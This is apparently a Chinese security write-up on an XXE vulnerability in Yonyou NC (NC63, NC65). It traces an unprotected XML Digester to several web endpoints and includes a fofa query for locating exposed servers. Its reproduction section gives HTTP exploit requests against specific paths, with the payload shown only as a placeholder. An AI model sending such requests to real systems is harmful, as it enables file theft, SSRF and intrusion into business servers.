漏洞简介
用友NC系统存在XML外部实体注入(XXE)漏洞。攻击者可通过构造恶意XML内容,利用portalpage/doNew接口解析,实现任意文件读取或SSRF攻击等攻击,进而可能导致敏感信息泄露或进一步的系统入侵。
影响版本
NC63、NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
根据官方漏洞通告部分可知漏洞点为 PmlUtil

那就搜索PmlUtil,找到了 nc/uap/portal/util/PmlUtil.java 看下它的实现吧
public class PmlUtil {
public static Digester getPortletDigester() {
Digester pmlDigester = LfwXmlUtil.getDigester((String)Page.class.getName());
if (pmlDigester == null) {
pmlDigester = new Digester();
LfwXmlUtil.setDigester((String)Page.class.getName(), (Digester)pmlDigester);
PmlUtil.initPsmlDigester(pmlDigester);
}
return pmlDigester;
}
private static void initPsmlDigester(Digester pmlDigester) {
pmlDigester.setValidating(false);
pmlDigester.addObjectCreate("page", Page.class.getName());
pmlDigester.addSetProperties("page");
pmlDigester.addCallMethod("page/title", "setTitle", 0);
String layoutClazz = Layout.class.getName();
String portletClazz = Portlet.class.getName();
pmlDigester.addObjectCreate("page/layout", layoutClazz);
pmlDigester.addSetProperties("page/layout");
pmlDigester.addSetNext("page/layout", "setLayout", layoutClazz);
String layoutPath = "page/layout";
for (int i = 0; i < 10; ++i) {
String _layoutPath = layoutPath + "/layout";
pmlDigester.addObjectCreate(_layoutPath, layoutClazz);
pmlDigester.addSetProperties(_layoutPath);
pmlDigester.addSetNext(_layoutPath, "addChild", layoutClazz);
String portletPath = layoutPath + "/portlet";
pmlDigester.addObjectCreate(portletPath, portletClazz);
pmlDigester.addSetProperties(portletPath);
pmlDigester.addSetNext(portletPath, "addChild", portletClazz);
layoutPath = _layoutPath;
}
}
//xml文件解析
public static Page parser(File pml) throws PortalServiceException {
Digester digester = PmlUtil.getPortletDigester();
try {
Page page = null;
Digester digester2 = digester;
synchronized (digester2) {
page = (Page)digester.parse(pml);
}
String pmlName = pml.getName();
page.setPagename(pmlName.substring(0, pmlName.length() - 4));
return page;
}
catch (Exception e) {
throw new PortalServiceException(e.getMessage(), e.getCause());
}
}
//xml内容解析
public static Page parser(String pml) throws SAXException {
Object object;
Digester digester = PmlUtil.getPortletDigester();
StringReader reader = null;
try {
Page page = null;
reader = new StringReader(pml);
object = digester;
synchronized (object) {
page = (Page)digester.parse((Reader)reader);
}
object = page;
}
catch (Exception e) {
try {
PortalLogger.error((String)LfwResBundle.getInstance().getStrByID("pserver", "PmlUtil-000002"), (Throwable)e);
throw new SAXException(e.getMessage());
}
catch (Throwable throwable) {
IOUtils.closeQuietly(reader);
throw throwable;
}
}
IOUtils.closeQuietly((Reader)reader);
return object;
}
//文件流的形式解析
public static Page parser(InputStream in) throws SAXException {
if (in == null) {
return null;
}
Digester digester = PmlUtil.getPortletDigester();
try {
Page page = null;
Object object = digester;
synchronized (object) {
page = (Page)digester.parse(in);
}
object = page;
return object;
}
catch (Exception e) {
PortalLogger.error((String)LfwResBundle.getInstance().getStrByID("pserver", "PmlUtil-000002"), (Throwable)e);
throw new SAXException(e.getMessage());
}
finally {
IOUtils.closeQuietly((InputStream)in);
}
}
代码不多,很简单,就是对多个形式如string、流、文件几种形式的内容进行解析,且PmlUtil.initPsmlDigester() 方法中并未发现禁用外部实体解析功能设置。这意味着攻击者可以通过注入恶意 XML 实体来读取服务器本地文件、发起 SSRF 攻击或导致拒绝服务。
那就看下有那些地方调用了PmlUtil.parser() 方法,

总共找到了4个地方的11个调用,只需关注首尾两个action相关的,中间的两个是不对外的。
在PagePreviewAction.java 中找到了content方法相关实现
content
@Servlet(path="/page/preview")
public class PagePreviewAction
extends BaseAction {
@Action
public void content() {
try {
String page_xml = this.request.getParameter("page_xml");
byte[] bytes = page_xml.getBytes("ISO-8859-1");
String xml = new String(bytes, "UTF-8");
xml = URLDecoder.decode(xml, "UTF-8");
Page page = PmlUtil.parser((String)xml);
参数page_xml的值赋值给page_xml后按照 ISO-8859-1 编码方式转换成字节数组,然后使用 UTF-8 编码方式,将上一步得到的字节数组 bytes 解码成一个新的 String 对象 xml,最后进行URL解码后就带入PmlUtil.parser 方法中进行解析,因此造成了XML实体注入(XXE)漏洞。。
再看其他几处
portalpage
doNew
@Servlet(path="/portalpage")
public class PortalPageManagerAction
extends BaseAction {
private static MultipartResolver multipartResolver = new CommonsMultipartResolver();
@Action(method="POST")
public void doNew(@Param(name="groupid") String pk_group, @Param(name="pml") String pml) {
LfwSessionBean ses = LfwRuntimeEnvironment.getLfwSessionBean();
if (pml == null || ses == null) {
return;
}
try {
Page page = PmlUtil.parser((String)URLDecoder.decode(pml, "UTF-8"));
该方法还存在SQL注入漏洞,可参考 用友NC portalpage/doNew sql注入漏洞 (需要合法session)
doEdit
@Action(method="POST")
public void doEdit(@Param(name="pk") String pk, @Param(name="pml") String pml) {
LfwSessionBean ses = LfwRuntimeEnvironment.getLfwSessionBean();
if (pml == null || pk == null || ses == null) {
return;
}
try {
boolean pageNameHasModify;
PtPageVO oldVersion = PortalServiceUtil.getPageQryService().getPageByPk(pk);
if (oldVersion == null) {
this.print("<result><success>false</success><detail>" + NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000006") + "</detail></result>");
return;
}
String pk_group = oldVersion.getPk_group();
Page page = PmlUtil.parser((String)URLDecoder.decode(pml, "UTF-8"));
importPml
文件上传形式
@Action
public void importPml() throws IOException {
MultipartHttpServletRequest req = PortalPageManagerAction.getMultipartResolver(this.request);
Map fileMap = req.getFileMap();
ArrayList files = new ArrayList();
String billitem = req.getParameter("billitem");
if ("null".equals(billitem)) {
billitem = "";
}
if (MapUtils.isNotEmpty((Map)fileMap)) {
files.addAll(fileMap.values());
}
String name = ((MultipartFile)files.get(0)).getOriginalFilename();
name = name.replace(".pml", "");
InputStream in = ((MultipartFile)files.get(0)).getInputStream();
try {
Page page = PmlUtil.parser((String)IOUtils.toString((InputStream)in, (String)"UTF-8"));
该方法还存在SQL注入漏洞,可参考 用友NC portalpage/importPml sql注入漏洞
漏洞复现
content
需要URL双重编码
POST /portal/pt/page/preview/content?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-www-form-urlencoded
page_xml=XXE_POC

成功在DNSLOG平台收到其DNS请求和HTTP请求
importPml
POST /portal/pt/portalpage/importPml?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybXJ4bi5uZXQ
------WebKitFormBoundarybXJ4bi5uZXQ
Content-Disposition: form-data; name="file"; filename="1.png"
XXE_POC
------WebKitFormBoundarybXJ4bi5uZXQ--


也是可以在DNSLOG平台收到DNS和HTTP请求


